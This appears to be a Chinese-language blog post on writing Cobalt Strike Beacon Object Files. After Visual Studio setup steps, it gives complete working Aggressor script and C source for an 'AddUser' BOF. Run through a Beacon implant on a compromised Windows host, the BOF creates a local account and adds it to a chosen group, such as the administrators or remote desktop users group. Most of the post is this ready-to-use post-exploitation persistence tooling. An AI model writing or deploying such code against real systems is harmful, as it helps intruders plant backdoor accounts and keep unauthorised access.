Post

BOF探究学习

BOF探究学习

BOF 学习

Beacon Object File(BOF) 使用 C 语言编写扩展来扩展 Beacon 的功能。这些扩展可以在运行时直接加载到 Beacon 的内存中并执行,无需在目标机器的磁盘上创建任何文件

0x00 准备:

  1. 下载 Template

    Visual-Studio-BOF-template

  2. 拷贝到 Visual-Studio 目录

    %UserProfile%\Documents\Visual Studio 2022\Templates\ProjectTemplates

    image

  3. 重启 VS
  4. 创建 BOF 项目

    image

  5. 批处理生成 x64 和 x86 以及问题修改

    image

    image

    直接编译报错

    生成后事件改为

    1
    
     ​xcopy /y "(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; powershell -ExecutionPolicy Unrestricted -command "& { . '(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"
    
  6. 语言万能开头 用字符串来表达

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    
     #include "bofdefs.h"
    
     extern "C" {
    
     void go(char* buff, int len) {
    
     #ifdef BOF
    
         DFR_LOCAL(NETAPI32, DsGetDcNameA);
         DFR_LOCAL(NETAPI32, NetApiBufferFree);
         DFR_LOCAL(KERNEL32, WinExec);
         //add ...
    
     #endif
             BeaconPrintf(CALLBACK_OUTPUT, "The quieter you become, the more you are able to hear");
     }
    
     }
     #ifndef BOF
    
     void main(int argc, char* argv[]) {
    
         go(NULL, 0);
     }
    
     #endif
    

    image

0x01 落地

写几个程序

  1. 添加用户

    描述:BOF 创建用户名

    cna 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    
     beacon_command_register(
     "AddUser", 
     "add a administrator's user", 
     "Synopsis: AddUser <groupname> <username> <password>");
    
     alias AddUser{
         local('$barch $handle $data $args');
         $gname = $2;
         $uname = $3;
         $pass = $4;
    
         if ($uname eq "" or $pass eq "") {
             berror($1, "usage command: help AddUser");
             return;
         }
    
         # Read in the right BOF file
         # figure out the arch of this session
         $barch  = barch($1);
    
         # read in the right BOF file
             $handle = openf(script_resource("dist/AddUser-Bof. $+ $barch $+ .o"));
         $data = readb($handle, -1);
         closef($handle);
    
         # Pack our arguments
         $args = bof_pack($1, "ZZZ",$gname, $uname, $pass);
    
         beacon_inline_execute($1, $data, "go", $args);
     }
    

    BOF 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    
     /**************************************************************************
     Copyright Copyright 2025 Google Inc.
     * File Name: Source.c
     * Description: 抱歉原有逻辑实在不忍直视,所以进行了略微更改,尊重原作者:https://github.com/0x3rhy/AddUser-Bof/blob/main/AddUser-Bof.c
                     增加组名考虑到需要远程桌面组,还需要再修改,于是改为变量传参 ^-^ *
     * Version: V1.0
     * Author: 3inter
     * Create Time: 2025-05-28
     **************************************************************************/
     #include <windows.h>
     #include <stdio.h>
     #include <lm.h>
     #include "beacon.h"
    
     typedef DWORD NET_API_STATUS;
    
     DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
     DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
    
     void go(char* args, int len) {
         if (!BeaconIsAdmin()) {
             BeaconPrintf(CALLBACK_ERROR, "[!] You must be admin priv!");
             return;
         }
    
         USER_INFO_1 UserInfo;
         DWORD dwLevel = 1;
         DWORD dwError = 0;
    
         wchar_t* GroupName;
         wchar_t* UserName;
         wchar_t* PassWord;
    
         datap parser;
         BeaconDataParse(&parser, args, len);
         GroupName = (wchar_t*)BeaconDataExtract(&parser, NULL);
         UserName = (wchar_t*)BeaconDataExtract(&parser, NULL);
         PassWord = (wchar_t*)BeaconDataExtract(&parser, NULL);
    
         if (UserName == NULL || PassWord == NULL) {
             BeaconPrintf(CALLBACK_ERROR, "[!] Invalid argument...\n");
             return;
         }
         UserInfo.usri1_name = UserName;
         UserInfo.usri1_password = PassWord;
         UserInfo.usri1_priv = USER_PRIV_USER;
         UserInfo.usri1_home_dir = NULL;
         UserInfo.usri1_comment = NULL;
         UserInfo.usri1_flags = UF_SCRIPT;
         UserInfo.usri1_script_path = NULL;
    
         NET_API_STATUS dwStatus;
    
         dwStatus = NETAPI32$NetUserAdd(
             NULL,
             dwLevel,
             (LPBYTE)&UserInfo,
             &dwError
         );
         do
         {
             if (!dwStatus == NERR_Success) {
                 BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
                 break;
             }
             LOCALGROUP_MEMBERS_INFO_3 account = {0};
             account.lgrmi3_domainandname = UserInfo.usri1_name;
    
             dwStatus = NETAPI32$NetLocalGroupAddMembers(NULL, GroupName, 3, (LPBYTE)&account, 1);
             if (!dwStatus == NERR_Success)
             {
                 BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
                 break;
             }
             BeaconPrintf(CALLBACK_OUTPUT, "[*] username: %ls\n    password: %ls\n", UserName, PassWord);
             BeaconPrintf(CALLBACK_OUTPUT, "[*] User %ls has been successfully added", UserName);
         } while (0);
     }
    
  2. 待完成….

    • ToDoList(实现再更)
This post is licensed under CC BY 4.0 by the author.